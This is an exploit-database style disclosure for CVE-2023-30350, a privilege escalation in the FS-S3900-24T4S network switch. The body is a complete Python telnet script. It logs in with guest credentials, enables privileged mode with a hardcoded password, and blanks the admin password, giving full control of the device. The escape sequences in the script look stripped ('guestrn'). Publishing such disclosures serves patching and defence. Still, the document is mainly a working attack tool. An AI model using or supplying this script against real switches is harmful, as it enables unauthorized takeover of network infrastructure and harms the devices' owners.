FS-S3900-24T4S suffers from a privilege escalation vulnerability.
advisories | CVE-2023-30350
# Exploit Title: FS-S3900-24T4S Privilege Escalation
# Date: 29/04/2023
# Exploit Author: Daniele Linguaglossa & Alberto Bruscino
# Vendor Homepage: https://www.fs.com/
# Software Link: not available
# Version: latest
# Tested on: latest
# CVE : CVE-2023-30350
import sys
import telnetlib
def exploit(args):
print(args)
if len(args) != 1:
print(f"Usage: {sys.argv[0]} <ip>")
sys.exit(1)
else:
ip = args[0]
try:
with telnetlib.Telnet(ip, 23) as tn:
try:
tn.read_until(b"Username: ")
tn.write(b"guestrn")
tn.read_until(b"Password: ")
tn.write(b"guestrn")
tn.read_until(b">")
tn.write(b"enablern")
tn.read_until(b"Password: ")
tn.write(b"superrn")
tn.read_until(b"#")
tn.write(b"configure terminalrn")
tn.read_until(b"(config)#")
tn.write(b"username admin nopasswordrn")
tn.read_until(b"(config)#")
print(
"Exploit success, you can now login with username: admin and password: <empty>")
tn.close()
except KeyboardInterrupt:
print("Exploit failed")
tn.close()
except ConnectionRefusedError:
print("Connection refused")
if __name__ == "__main__":
exploit(sys.argv[1:])